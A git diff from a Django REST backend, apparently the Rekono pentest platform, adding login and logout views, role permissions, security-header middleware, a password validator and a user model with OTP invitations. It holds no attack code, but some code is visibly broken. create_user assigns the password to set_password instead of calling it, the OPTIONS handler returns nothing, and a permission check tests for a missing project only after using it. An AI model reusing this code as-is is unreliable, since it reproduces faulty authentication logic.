typing import Any + +from drf_spectacular.utils import extend_schema +from framework.views import BaseViewSet +from rest_framework import status +from rest_framework.permissions import IsAuthenticated +from rest_framework.request import Request +from rest_framework.response import Response +from rest_framework_simplejwt.views import TokenObtainPairView, TokenRefreshView +from security.authentication.serializers import LoginSerializer, LogoutSerializer +from security.authorization.permissions import IsNotAuthenticated + +logger = logging.getLogger() # Rekono logger + + +class LoginViewSet(TokenObtainPairView): + """Token ViewSet that includes the user login (get access and refresh token).""" + + serializer_class = LoginSerializer + permission_classes = [IsNotAuthenticated] + throttle_scope = "login" + + +class RefreshTokenViewSet(TokenRefreshView): + """Token ViewSet that includes the refresh access token feature.""" + + throttle_scope = "refresh" + + +class LogoutViewSet(BaseViewSet): + """Logout ViewSet that includes the user logout feature.""" + + queryset = None + serializer_class = LogoutSerializer + permission_classes = [IsAuthenticated] + http_method_names = [ + "post", + ] + + @extend_schema(responses={200: None}) + def create(self, request: Request, *args: Any, **kwargs: Any) -> Response: + serializer = LogoutSerializer(data=request.data) + serializer.is_valid(raise_exception=True) + serializer.save() + return Response(status=status.HTTP_200_OK) # Logged out diff --git a/src/backend/security/authorization/permissions.py b/src/backend/security/authorization/permissions.py new file mode 100644 index 000000000..de7031b9c --- /dev/null +++ b/src/backend/security/authorization/permissions.py @@ -0,0 +1,117 @@ +from typing import Any + +# from processes.models import Process, Step +from wordlists.models import Wordlist +from rest_framework.permissions import BasePermission +from rest_framework.request import Request +from rest_framework.views import View +from security.authorization.roles import Role + + + +class IsNotAuthenticated(BasePermission): + """Check if current user is not authenticated.""" + + def has_permission(self, request: Request, view: View) -> bool: + """Check if current user is not authenticated. + + Args: + request (Request): HTTP request + view (View): View that user is accessing + + Returns: + bool: Indicate if user is authorized to make this request or not + """ + return not request.user.is_authenticated + + +class IsAdmin(BasePermission): + """Check if current user is an administrator.""" + + def has_permission(self, request: Request, view: View) -> bool: + """Check if current user is an administrator. + + Args: + request (Request): HTTP request + view (View): View that user is accessing + + Returns: + bool: Indicate if user is authorized to make this request or not + """ + return request.user.groups.filter(name=str(Role.ADMIN)).exists() + + +class IsAuditor(BasePermission): + """Check if current user is an auditor (Admin or Auditor roles).""" + + def has_permission(self, request: Request, view: View) -> bool: + """Check if current user is an auditor (Admin or Auditor roles). + + Args: + request (Request): HTTP request + view (View): View that user is accessing + + Returns: + bool: Indicate if user is authorized to make this request or not + """ + return request.user.groups.filter( + name__in=[str(Role.AUDITOR), str(Role.ADMIN)] + ).exists() + + +class ProjectMemberPermission(BasePermission): + """Check if current user can access an object based on project membership.""" + + def has_object_permission(self, request: Request, view: View, obj: Any) -> bool: + """Check if current user can access some entities based on project membership. + + Args: + request (Request): HTTP request + view (View): View that user is accessing + obj (Any): Object that user is accesing + + Returns: + bool: Indicate if user is authorized to make this request or not + """ + project = obj.get_project() + return request.user in project.members.all() or not project + + +class OwnerPermission(BasePermission): + """Check if current user can access an object based on HTTP method and creator user.""" + + def get_instance(self, obj: Any) -> Any: # pragma: no cover + """Get object with creator user from object accessed by the current user. To be implemented by subclasses. + + Args: + obj (Any): Object that user is accessing + + Returns: + Any: Object with creator user + """ + instance = None + match obj.__class__: + case Wordlist: # | Process: + instance = obj + # case Step: + # instance = obj.process + return instance + + def has_object_permission(self, request: Request, view: View, obj: Any) -> bool: + """Check if current user can access an object based on HTTP method and creator user. + + Args: + request (Request): HTTP request + view (View): View that user is accessing + obj (Any): Object that user is accesing + + Returns: + bool: Indicate if user is authorized to make this request or not + """ + instance = self.get_instance(obj) # Get object with creator user + return ( + not instance or + request.method == 'GET' or + instance.owner == request.user or + IsAdmin().has_permission(request, view) + ) diff --git a/src/backend/security/authorization/roles.py b/src/backend/security/authorization/roles.py index 9818535c2..f5e6773a3 100644 --- a/src/backend/security/authorization/roles.py +++ b/src/backend/security/authorization/roles.py @@ -1,15 +1,23 @@ -from django.db import models from typing import Dict, List +from django.db import models + class Role(models.TextChoices): """User role names.""" + ADMIN = "Admin" AUDITOR = "Auditor" READER = "Reader" PERMISSIONS = { + "apitoken": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [Role.ADMIN, Role.AUDITOR, Role.READER], + "change": [], + "delete": [Role.ADMIN, Role.AUDITOR, Role.READER], + }, "user": { "view": [Role.ADMIN], "add": [Role.ADMIN], @@ -34,115 +42,115 @@ class Role(models.TextChoices): "change": [], "delete": [Role.ADMIN, Role.AUDITOR], }, - "task": { - "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - "add": [Role.ADMIN, Role.AUDITOR], - "change": [], - "delete": [Role.ADMIN, Role.AUDITOR], - }, - "execution": { - "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - "add": [], - "change": [], - "delete": [], - }, - "osint": { - "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - "add": [], - "change": [], - "delete": [Role.ADMIN, Role.AUDITOR], - }, - "host": { - "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - "add": [], - "change": [], - "delete": [Role.ADMIN, Role.AUDITOR], - }, - "port": { - "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - "add": [], - "change": [], - "delete": [Role.ADMIN, Role.AUDITOR], - }, - "path": { - "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - "add": [], - "change": [], - "delete": [Role.ADMIN, Role.AUDITOR], - }, - "technology": { - "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - "add": [], - "change": [], - "delete": [Role.ADMIN, Role.AUDITOR], - }, - "vulnerability": { - "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - "add": [], - "change": [], - "delete": [Role.ADMIN, Role.AUDITOR], - }, - "credential": { - "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - "add": [], - "change": [], - "delete": [Role.ADMIN, Role.AUDITOR], - }, - "exploit": { - "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - "add": [], - "change": [], - "delete": [Role.ADMIN, Role.AUDITOR], - }, - "process": { - "view": [Role.ADMIN, Role.AUDITOR], - "add": [Role.ADMIN, Role.AUDITOR], - "change": [Role.ADMIN, Role.AUDITOR], - "delete": [Role.ADMIN, Role.AUDITOR], - }, - "step": { - "view": [Role.ADMIN, Role.AUDITOR], - "add": [Role.ADMIN, Role.AUDITOR], - "change": [Role.ADMIN, Role.AUDITOR], - "delete": [Role.ADMIN, Role.AUDITOR], - }, - "tool": { - "view": [Role.ADMIN, Role.AUDITOR], - "add": [], - "change": [], - "delete": [], - }, - "intensity": { - "view": [Role.ADMIN, Role.AUDITOR], - "add": [], - "change": [], - "delete": [], - }, - "configuration": { - "view": [Role.ADMIN, Role.AUDITOR], - "add": [], - "change": [], - "delete": [], - }, - "input": { - "view": [Role.ADMIN, Role.AUDITOR], - "add": [], - "change": [], - "delete": [], - }, - "output": { - "view": [Role.ADMIN, Role.AUDITOR], - "add": [], - "change": [], - "delete": [], - }, + # "task": { + # "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + # "add": [Role.ADMIN, Role.AUDITOR], + # "change": [], + # "delete": [Role.ADMIN, Role.AUDITOR], + # }, + # "execution": { + # "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + # "add": [], + # "change": [], + # "delete": [], + # }, + # "osint": { + # "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + # "add": [], + # "change": [], + # "delete": [Role.ADMIN, Role.AUDITOR], + # }, + # "host": { + # "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + # "add": [], + # "change": [], + # "delete": [Role.ADMIN, Role.AUDITOR], + # }, + # "port": { + # "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + # "add": [], + # "change": [], + # "delete": [Role.ADMIN, Role.AUDITOR], + # }, + # "path": { + # "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + # "add": [], + # "change": [], + # "delete": [Role.ADMIN, Role.AUDITOR], + # }, + # "technology": { + # "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + # "add": [], + # "change": [], + # "delete": [Role.ADMIN, Role.AUDITOR], + # }, + # "vulnerability": { + # "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + # "add": [], + # "change": [], + # "delete": [Role.ADMIN, Role.AUDITOR], + # }, + # "credential": { + # "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + # "add": [], + # "change": [], + # "delete": [Role.ADMIN, Role.AUDITOR], + # }, + # "exploit": { + # "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + # "add": [], + # "change": [], + # "delete": [Role.ADMIN, Role.AUDITOR], + # }, + # "process": { + # "view": [Role.ADMIN, Role.AUDITOR], + # "add": [Role.ADMIN, Role.AUDITOR], + # "change": [Role.ADMIN, Role.AUDITOR], + # "delete": [Role.ADMIN, Role.AUDITOR], + # }, + # "step": { + # "view": [Role.ADMIN, Role.AUDITOR], + # "add": [Role.ADMIN, Role.AUDITOR], + # "change": [Role.ADMIN, Role.AUDITOR], + # "delete": [Role.ADMIN, Role.AUDITOR], + # }, + # "tool": { + # "view": [Role.ADMIN, Role.AUDITOR], + # "add": [], + # "change": [], + # "delete": [], + # }, + # "intensity": { + # "view": [Role.ADMIN, Role.AUDITOR], + # "add": [], + # "change": [], + # "delete": [], + # }, + # "configuration": { + # "view": [Role.ADMIN, Role.AUDITOR], + # "add": [], + # "change": [], + # "delete": [], + # }, + # "input": { + # "view": [Role.ADMIN, Role.AUDITOR], + # "add": [], + # "change": [], + # "delete": [], + # }, + # "output": { + # "view": [Role.ADMIN, Role.AUDITOR], + # "add": [], + # "change": [], + # "delete": [], + # }, "wordlist": { "view": [Role.ADMIN, Role.AUDITOR], "add": [Role.ADMIN, Role.AUDITOR], "change": [Role.ADMIN, Role.AUDITOR], "delete": [Role.ADMIN, Role.AUDITOR], }, - "system": { + "settings": { "view": [Role.ADMIN, Role.AUDITOR, Role.READER], "add": [], "change": [Role.ADMIN], @@ -177,12 +185,12 @@ class Role(models.TextChoices): def get_roles() -> Dict[Role, List[str]]: roles = { - Role.ADMIN: [], - Role.AUDITOR: [], - Role.READER: [], + Role.ADMIN.value: [], + Role.AUDITOR.value: [], + Role.READER.value: [], } for entity, permissions in PERMISSIONS.items(): for permission, assigned_roles in permissions.items(): for assigned_role in assigned_roles: - roles[assigned_role].append(f"{entity}_{permission}") + roles[assigned_role].append(f"{permission}_{entity}") return roles diff --git a/src/backend/security/middleware.py b/src/backend/security/middleware.py new file mode 100644 index 000000000..f40bf6ca4 --- /dev/null +++ b/src/backend/security/middleware.py @@ -0,0 +1,124 @@ +import logging +from typing import Any, ItemsView + +from rekono.settings import CONFIG +from rest_framework import status +from rest_framework.renderers import JSONRenderer +from rest_framework.request import HttpRequest +from rest_framework.response import Response + +logger = logging.getLogger() # Rekono logger + +CSP = { + "/admin": ( + "default-src 'none'; base-uri 'none'; object-src 'none'; frame-ancestors 'none'; " + "script-src 'self'; style-src 'self' 'sha256-28J4mQEy4Sqd0R+nZ89dOl9euh+Y3XvT+VfXD5pOiOE='; " + "img-src 'self'; font-src 'self'" + ), + "/api/schema/swagger-ui": ( + "default-src 'none'; base-uri 'none'; object-src 'none'; frame-ancestors 'none'; " + # 'unsafe-inline' required due to a inline script with hardcoded dynamic CSRF token, so its hash changes + "script-src http://cdn.jsdelivr.net 'unsafe-inline'; " + "style-src http://cdn.jsdelivr.net fonts.googleapis.com " + "'sha256-MMpT0iDxyjALd9PdfepImGX3DBfJPXZ4IlDWdPAgtn0='; " + "img-src data: http://cdn.jsdelivr.net; " + "connect-src 'self'; " + ), + "/api/schema/redoc": ( + "default-src 'none'; base-uri 'none'; object-src 'none'; frame-ancestors 'none'; " + "script-src http://cdn.jsdelivr.net; " + "style-src http://cdn.jsdelivr.net fonts.googleapis.com " + "'sha256-47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=' " + "'sha256-m6OsjZ+ZE+8plS5r0wBVuIy/qbXuHEw//v/OhLyy9Xg=' " + "'sha256-DLDPR1ic47WIdK2WyeLkblb/tm2mQH+Jt/NNhZWu1k0=' " + "'sha256-GvZq6XrzMRhFZ2MvEI09Lw7QbE3DnWuVQTMYafGYLcg='; " + "img-src 'self' data: http://cdn.jsdelivr.net cdn.redoc.ly; " + "font-src fonts.gstatic.com; " + "worker-src blob:; " + "child-src blob:; " + "connect-src 'self'" + ), + "/api/": "default-src 'none'; base-uri 'none'; object-src 'none'; frame-ancestors 'none'", +} +SECURITY_HEADERS = { + "Content-Security-Policy": None, + "Server": None, + "Cache-Control": "no-store", + "Referrer-Policy": "no-referrer", + "X-Content-Type-Options": "nosniff", + "X-Frame-Options": "DENY", + "Access-Control-Allow-Origin": "app://.", + "Access-Control-Allow-Methods": "GET, POST, PUT, DELETE, OPTIONS", + "Access-Control-Allow-Headers": "content-type, authorization", +} + + +class SecurityMiddleware: + """Security middleware that manages all HTTP requests and responses.""" + + def __init__(self, get_response: Any) -> None: + """Middleware constructor. + + Args: + get_response (Any): HTTP request processor + """ + self.get_response = get_response + + def _get_forwarded_address(self, request: HttpRequest) -> str: + x_forwarded_for = request.META.get("HTTP_X_FORWARDED_FOR") + if x_forwarded_for and CONFIG.trusted_proxy: + if "," in x_forwarded_for: + x_forwarded_for = x_forwarded_for.split(",", 1)[0] + return x_forwarded_for + + def _http_options(self, request: HttpRequest) -> Response: + response = Response(status=status.HTTP_200_OK) + response.accepted_renderer = JSONRenderer() + response.accepted_media_type = "application/json" + response.renderer_context = {"request": request, "response": response} + response = response.render() + response["Allow"] = "GET, POST, PUT, DELETE, OPTIONS" + + def _add_security_headers( + self, request: HttpRequest, response: Response + ) -> Response: + for header, value in SECURITY_HEADERS.items(): + if header == "Content-Security-Policy": + for path, csp in CSP.items(): + if request.path.startswith(path): + value = csp + break + response[header] = value + return response + + def _log_request_and_response(self, request: HttpRequest, response: Response): + logger_level = logger.info + if response.status_code >= 400 and response.status_code < 500: + logger_level = logger.warning # Warning level for 4XX error responses + elif response.status_code >= 500: + logger_level = logger.error # Error level for 5XX error responses + logger_level( + f"{request.method} {request.get_full_path()} > HTTP {response.status_code}", + extra={"request": request, "response": response}, + ) + + def __call__(self, request: HttpRequest) -> Any: + """Process HTTP requests when received and return HTTP responses. + + Args: + request (HttpRequest): HTTP request + + Returns: + Any: HTTP response + """ + forwarded_address = self._get_forwarded_address(request) + if forwarded_address: + request.META["REMOTE_ADDR"] = forwarded_address + response = ( + self.get_response(request) + if request.method != "OPTIONS" + else self._http_options(request) + ) + response = self._add_security_headers(request, response) + self._log_request_and_response(request, response) + return response diff --git a/src/backend/security/utils/__init__.py b/src/backend/security/utils/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/security/crypto.py b/src/backend/security/utils/cryptography.py similarity index 100% rename from src/backend/security/crypto.py rename to src/backend/security/utils/cryptography.py diff --git a/src/backend/security/file_handler.py b/src/backend/security/utils/file_handler.py similarity index 100% rename from src/backend/security/file_handler.py rename to src/backend/security/utils/file_handler.py diff --git a/src/backend/security/input_validation.py b/src/backend/security/utils/input_validator.py similarity index 62% rename from src/backend/security/input_validation.py rename to src/backend/security/utils/input_validator.py index 6fccffcbb..a4684e2da 100644 --- a/src/backend/security/input_validation.py +++ b/src/backend/security/utils/input_validator.py @@ -63,12 +63,15 @@ def __init__( self.code = code flags = None # Needed to prevent TypeError super().__init__(regex, message, code, inverse_match, flags) - self.target_blacklist = CONFIG.base_target_blacklist - settings = Settings.objects.filter(pk=1) - if settings.exists(): - self.target_blacklist += StringAsListField().to_representation( - settings.first().target_blacklist - ) + self.target_blacklist = CONFIG.target_blacklist + try: + settings = Settings.objects.filter(pk=1) + if settings.exists(): + self.target_blacklist += StringAsListField().to_representation( + settings.first().target_blacklist + ) + except: + pass def __call__(self, value: str | None) -> None: super().__call__(value) @@ -100,3 +103,43 @@ def __call__(self, value: str | None) -> None: ) except ipaddress.AddressValueError: pass + + +class PasswordValidator: + """Rekono password complexity validator.""" + + full_match = r"[A-Za-z0-9\W]{12,}" # Full match with all requirements + lowercase = r"[a-z]" # At least one lowercase + uppercase = r"[A-Z]" # At least one uppercase + digits = r"[0-9]" # At least one digit + symbols = r"[\W]" # At least one symbol + message = "Your password must contain at least 1 lowercase, 1 uppercase, 1 digit and 1 symbol" + + def validate(self, password: str, user: Any = None) -> None: + """Validate if password match the complexity requirements. + + Args: + password (str): Password to check + user (User, optional): User that is establishing the password. Defaults to None. + + Raises: + ValidationError: Raised if password doesn't match the complexity requirements + """ + if not bool(re.fullmatch(self.full_match, password)): # Full check + raise ValidationError(self.message) + if not bool(re.search(self.lowercase, password)): # Lower case check + raise ValidationError("Your password must contain at least 1 lowercase") + if not bool(re.search(self.uppercase, password)): # Upper case check + raise ValidationError("Your password must contain at least 1 uppercase") + if not bool(re.search(self.digits, password)): # Digits check + raise ValidationError("Your password must contain at least 1 digit") + if not bool(re.search(self.symbols, password)): # Symbols check + raise ValidationError("Your password must contain at least 1 symbol") + + def get_help_text(self) -> str: + """Get help message. + + Returns: + str: Help message + """ + return self.message diff --git a/src/backend/settings/models.py b/src/backend/settings/models.py index ad2758e9a..e9b9a553f 100644 --- a/src/backend/settings/models.py +++ b/src/backend/settings/models.py @@ -1,10 +1,11 @@ from django.core.validators import MaxValueValidator, MinValueValidator from django.db import models +from framework.models import BaseModel # Create your models here. -class Settings(models.Model): +class Settings(BaseModel): # Max size in MB for uploaded files max_uploaded_file_mb = models.IntegerField( default=512, validators=[MinValueValidator(128), MaxValueValidator(1024)] diff --git a/src/backend/settings/serializers.py b/src/backend/settings/serializers.py index eb8da8272..295822c81 100644 --- a/src/backend/settings/serializers.py +++ b/src/backend/settings/serializers.py @@ -1,6 +1,6 @@ from framework.fields import StringAsListField from rest_framework.serializers import ModelSerializer -from security.input_validation import Regex, Validator +from security.utils.input_validator import Regex, Validator from settings.models import Settings diff --git a/src/backend/settings/views.py b/src/backend/settings/views.py index 82bebd6d5..b9a0f3014 100644 --- a/src/backend/settings/views.py +++ b/src/backend/settings/views.py @@ -1,6 +1,5 @@ from framework.views import BaseViewSet - -# from rest_framework.permissions import DjangoModelPermissions, IsAuthenticated +from rest_framework.permissions import DjangoModelPermissions, IsAuthenticated from settings.models import Settings from settings.serializers import SettingsSerializer @@ -13,5 +12,3 @@ class SettingsViewSet(BaseViewSet): queryset = Settings.objects.all() serializer_class = SettingsSerializer http_method_names = ["get", "put"] # Required to remove PATCH method - # Required to remove unneeded ProjectMemberPermission - # permission_classes = [IsAuthenticated, DjangoModelPermissions] diff --git a/src/backend/target_ports/models.py b/src/backend/target_ports/models.py index 8110ae592..194a78d2c 100644 --- a/src/backend/target_ports/models.py +++ b/src/backend/target_ports/models.py @@ -5,7 +5,7 @@ from framework.enums import InputKeyword from framework.models import BaseInput from projects.models import Project -from security.input_validation import Regex, Validator +from security.utils.input_validator import Regex, Validator from targets.models import Target # Create your models here. @@ -30,7 +30,11 @@ class TargetPort(BaseInput): filters = [BaseInput.Filter(type=int, field="port")] class Meta: - unique_together = ["target", "port"] + constraints = [ + models.UniqueConstraint( + fields=["target", "port"], name="unique_target_port" + ) + ] def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: """Get useful information from this instance to be used in tool execution as argument. @@ -75,3 +79,7 @@ def get_project(self) -> Project: Project: Related project entity """ return self.target.project + + @classmethod + def get_project_field(cls) -> str: + return "target__project" diff --git a/src/backend/targets/models.py b/src/backend/targets/models.py index efe68cc70..e0ca91b6c 100644 --- a/src/backend/targets/models.py +++ b/src/backend/targets/models.py @@ -9,7 +9,7 @@ from framework.enums import InputKeyword from framework.models import BaseInput from projects.models import Project -from security.input_validation import Regex, TargetValidator +from security.utils.input_validator import Regex, TargetValidator from targets.enums import TargetType # Create your models here. @@ -29,7 +29,9 @@ class Target(BaseInput): filters = [BaseInput.Filter(type=TargetType, field="type")] class Meta: - unique_together = ["project", "target"] + constraints = [ + models.UniqueConstraint(fields=["project", "target"], name="unique_target") + ] @staticmethod def get_type(target: str) -> str: @@ -104,3 +106,7 @@ def get_project(self) -> Project: Project: Related project entity """ return self.project + + @classmethod + def get_project_field(cls) -> str: + return "project" diff --git a/src/backend/users/__init__.py b/src/backend/users/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/users/admin.py b/src/backend/users/admin.py new file mode 100644 index 000000000..8c38f3f3d --- /dev/null +++ b/src/backend/users/admin.py @@ -0,0 +1,3 @@ +from django.contrib import admin + +# Register your models here. diff --git a/src/backend/users/apps.py b/src/backend/users/apps.py new file mode 100644 index 000000000..733d6369c --- /dev/null +++ b/src/backend/users/apps.py @@ -0,0 +1,29 @@ +from typing import Any + +from django.apps import AppConfig +from django.db.models.signals import post_migrate +from security.authorization.roles import get_roles + + +class UsersConfig(AppConfig): + name = "users" + + def ready(self) -> None: + """Run code as soon as the registry is fully populated.""" + # Initialize user groups based on permissions after migration + post_migrate.connect(self.initialize_user_groups, sender=self) + + def initialize_user_groups(self, **kwargs: Any) -> None: + """Initialize user groups in database.""" + group_model = kwargs["apps"].get_model(app_label="auth", model_name="group") + permission_model = kwargs["apps"].get_model( + app_label="auth", model_name="permission" + ) + for role, permissions in get_roles().items(): + group, _ = group_model.objects.get_or_create(name=role) + group_permissions = [] + for permission_id in permissions: # For each permission + # Get permission model + permission = permission_model.objects.get(codename=permission_id) + group_permissions.append(permission) + group.permissions.set(group_permissions) diff --git a/src/backend/users/enums.py b/src/backend/users/enums.py new file mode 100644 index 000000000..4d6f16cd1 --- /dev/null +++ b/src/backend/users/enums.py @@ -0,0 +1,11 @@ +from django.db import models + + +class Notification(models.TextChoices): + '''Notification choices for users.''' + + DISABLED = 'Disabled' # All notifications disabled + # Only notifications with executions made by the user + OWN_EXECUTIONS = 'Only my executions' + # Notifications with all executions made in user projects + ALL_EXECUTIONS = 'All executions' diff --git a/src/backend/users/filters.py b/src/backend/users/filters.py new file mode 100644 index 000000000..04e5059e4 --- /dev/null +++ b/src/backend/users/filters.py @@ -0,0 +1,76 @@ +from django.db.models import QuerySet +from django_filters.rest_framework import FilterSet, filters +from projects.models import Project +from users.models import User + + +class UserFilter(FilterSet): + """FilterSet to filter and sort User entities.""" + + # Get users that are members of these project + project = filters.NumberFilter( + field_name="project", method="filter_project_members" + ) + # Get users that aren't members of these project + project__ne = filters.NumberFilter( + field_name="project__ne", method="filter_project_members_ne" + ) + + class Meta: + """FilterSet metadata.""" + + model = User + fields = { + "username": ["exact", "icontains"], + "first_name": ["exact", "icontains"], + "last_name": ["exact", "icontains"], + "email": ["exact", "icontains"], + "is_active": ["exact"], + "date_joined": ["gte", "lte", "exact"], + "groups": ["exact"], + "groups__name": ["exact"], + } + + def filter_project_members( + self, queryset: QuerySet, name: str, value: int + ) -> QuerySet: + """Filter queryset, including only users that are members of a specific project. + + Args: + queryset (QuerySet): User queryset to be filtered + name (str): Field name, not used in this case + value (int): Project Id + + Returns: + QuerySet: Filtered queryset by project + """ + try: + return ( + self.request.user.projects.get(pk=value) + .members.filter(is_active=True) + .order_by("-id") + ) + except Project.DoesNotExist: + return queryset.none() + + def filter_project_members_ne( + self, queryset: QuerySet, name: str, value: int + ) -> QuerySet: + """Filter queryset, including only users that aren't members of a specific project. + + Args: + queryset (QuerySet): User queryset to be filtered + name (str): Field name, not used in this case + value (int): Project Id + + Returns: + QuerySet: Filtered queryset by project + """ + try: + return queryset.filter(is_active=True).exclude( + id__in=self.request.user.projects.get(pk=value) + .members.all() + .values("id") + ) + except Project.DoesNotExist: + return queryset.none() diff --git a/src/backend/users/models.py b/src/backend/users/models.py new file mode 100644 index 000000000..916c20d8a --- /dev/null +++ b/src/backend/users/models.py @@ -0,0 +1,239 @@ +import logging +from datetime import datetime, timedelta +from typing import Any, cast + +from django.contrib.auth.models import AbstractUser, Group, UserManager +from django.db import models +from django.utils import timezone +from framework.models import BaseModel +from rekono.settings import CONFIG +from security.authentication.api import ApiToken +from security.authorization.roles import Role +from security.utils.cryptography import generate_random_value, hash +from security.utils.input_validator import Regex, Validator +from users.enums import Notification + +# Create your models here. + +logger = logging.getLogger() # Rekono logger + + +class RekonoUserManager(UserManager): + """Manager for the User model.""" + + def _generate_otp(self) -> str: + return hash(generate_random_value(3000)) + + def _get_otp_expiration_time(self) -> datetime: + return timezone.now() + timedelta(hours=CONFIG.otp_expiration_hours) + + def assign_role(self, user: Any, role: Role) -> None: + """Initialize user, assigning it a role and creating its API token. + + Args: + user (Any): User to initialize + role (Role): Role to assign + """ + group = Group.objects.get(name=role.value) # Get user group related to the role + user.groups.clear() # Clean user groups + user.groups.set([group]) # Set user group + logger.info(f"[User] Role {role} has been assigned to user {user.id}") + return user + + def invite_user(self, email: str, role: Role) -> Any: + """Create a new user. + + Args: + email (str): New user email + role (Role): New user role + + Returns: + Any: Created user + """ + # Create new user including an OTP. The user will be inactive while invitation is not accepted + user = User.objects.create( + email=email, + otp=self._generate_otp(), + otp_expiration=self._get_otp_expiration_time(), + is_active=None, + ) + self.assign_role(user, role) + # TODO: Send user invitation + logger.info(f"[User] User {user.id} has been invited with role {role}") + return user + + def create_user( + self, user: Any, username: str, first_name: str, last_name: str, password: str + ) -> Any: + user.username = username + user.first_name = first_name + user.last_name = last_name + user.set_password = password + user.is_active = True + user.otp = None + user.otp_expiration = None + user.save( + update_fields=[ + "username", + "first_name", + "last_name", + "password", + "is_active", + "otp", + "otp_expiration", + ] + ) + logger.info( + f"[User] User {user.id} has been created", + extra={"user": user.id}, + ) + return user + + def create_superuser( + self, username: str, email: str, password: str, **extra_fields: Any + ) -> Any: + """Create a new superuser (Admin role, platform administrator and staff). + + Args: + username (str): New superuser username + email (str): New superuser email + password (str): New superuser plain password + + Returns: + Any: Created superuser + """ + extra_fields["is_active"] = True + user = super().create_superuser(username, email, password, **extra_fields) + self.assign_role(user, cast(Role, Role.ADMIN)) + logger.info(f"[User] Superuser {user.id} has been created") + return user + + def enable_user(self, user: Any) -> Any: + """Enable disabled user, assigning it a new role. + + Args: + user (Any): User to enable + + Returns: + Any: Enabled user + """ + user.otp = self._generate_otp() # Generate its OTP + user.otp_expiration = self._get_otp_expiration_time() # Set OTP expiration + user.is_active = True + user.save(update_fields=["otp", "otp_expiration", "is_active"]) + # TODO: Send email to enable user + logger.info(f"[User] User {user.id} has been enabled") + return user + + def disable_user(self, user: Any) -> Any: + """Disable user. + + Args: + user (Any): User to disable + + Returns: + Any: Disabled user + """ + user.is_active = False # Disable user + user.set_unusable_password() # Make its password unusable + user.otp = None # Remove its OTP + user.otp_expiration = None + user.projects.clear() # Clear its projects + user.save(update_fields=["otp", "otp_expiration", "is_active"]) + try: + ApiToken.objects.filter(user=user).delete() + except ApiToken.DoesNotExist: + pass + logger.info(f"[User] User {user.id} has been disabled") + return user + + def request_password_reset(self, user: Any) -> Any: + """Request a password reset for an user. + + Args: + user (Any): User that requests its password reset + + Returns: + Any: User after request password reset + """ + user.otp = self._generate_otp() # Generate its OTP + user.otp_expiration = self._get_otp_expiration_time() # Set OTP expiration + user.save(update_fields=["otp", "otp_expiration"]) + # TODO: Send email to reset password + logger.info( + f"[User] User {user.id} requested a password reset", extra={"user": user.id} + ) + return user + + def update_password(self, user: Any, password: str) -> Any: + # nosemgrep: python.django.security.audit.unvalidated-password.unvalidated-password + user.set_password(password) + user.save(update_fields=["password"]) + logger.info( + f"[Security] User {user.id} changed his password", + extra={"user": user.id}, + ) + return user + + def reset_password(self, user: Any, password: str) -> Any: + user = self.update_password(user, password) + user.otp = None + user.otp_expiration = None + user.is_active = True + user.save(update_fields=["otp", "otp_expiration", "is_active"]) + return user + + +class User(AbstractUser, BaseModel): + """User model.""" + + # Main user data + username = models.TextField( + max_length=100, + unique=True, + blank=True, + null=True, + validators=[Validator(Regex.NAME.value, code="username")], + ) + first_name = models.TextField( + max_length=100, + blank=True, + null=True, + validators=[Validator(Regex.NAME.value, code="first_name")], + ) + last_name = models.TextField( + max_length=100, + blank=True, + null=True, + validators=[Validator(Regex.NAME.value, code="last_name")], + ) + email = models.EmailField(max_length=150, unique=True) + is_active = models.BooleanField(null=True, blank=True, default=None) + + # One Time Password used to invite and enable users, or reset passwords + otp = models.TextField(max_length=200, unique=True, blank=True, null=True) + otp_expiration = models.DateTimeField( + blank=True, + null=True, + ) + + notification_scope = models.TextField( # User notification preferences + max_length=18, choices=Notification.choices, default=Notification.OWN_EXECUTIONS + ) + # Indicate if email notifications are enabled + email_notifications = models.BooleanField(default=True) + # Indicate if Telegram notifications are enabled + telegram_notifications = models.BooleanField(default=False) + + USERNAME_FIELD = "username" # Generic user configuration + EMAIL_FIELD = "email" + REQUIRED_FIELDS = ["email"] + objects = RekonoUserManager() # Model manager + + def __str__(self) -> str: + """Instance representation in text format. + + Returns: + str: String value that identifies this instance + """ + return self.email diff --git a/src/backend/users/serializers.py b/src/backend/users/serializers.py new file mode 100644 index 000000000..b0ced892c --- /dev/null +++ b/src/backend/users/serializers.py @@ -0,0 +1,390 @@ +import logging +from typing import Any, Dict + +from django.contrib.auth.password_validation import validate_password +from django.db import transaction +from django.utils import timezone +from rest_framework import status +from rest_framework.exceptions import AuthenticationFailed +from rest_framework.fields import SerializerMethodField +from rest_framework.serializers import ( + CharField, + ChoiceField, + ModelSerializer, + Serializer, +) +from security.authorization.roles import Role +from users.models import User + +logger = logging.getLogger() # Rekono logger + + +class UserSerializer(ModelSerializer): + """Serializer to get the users data via API.""" + + role = SerializerMethodField(method_name="get_role") + + class Meta: + model = User + fields = ( + "id", + "username", + "first_name", + "last_name", + "email", + "is_active", + "date_joined", + "last_login", + "role", + ) + + def get_role(self, instance: User) -> str: + """Get user role name from the user groups. + + Args: + instance (User): User to get role name + + Returns: + str: Role name assigned to the user + """ + role = instance.groups.first() + return role.name if role else None + + +class SimpleUserSerializer(UserSerializer): + """Simple serializer to include user main data in other serializers.""" + + class Meta: 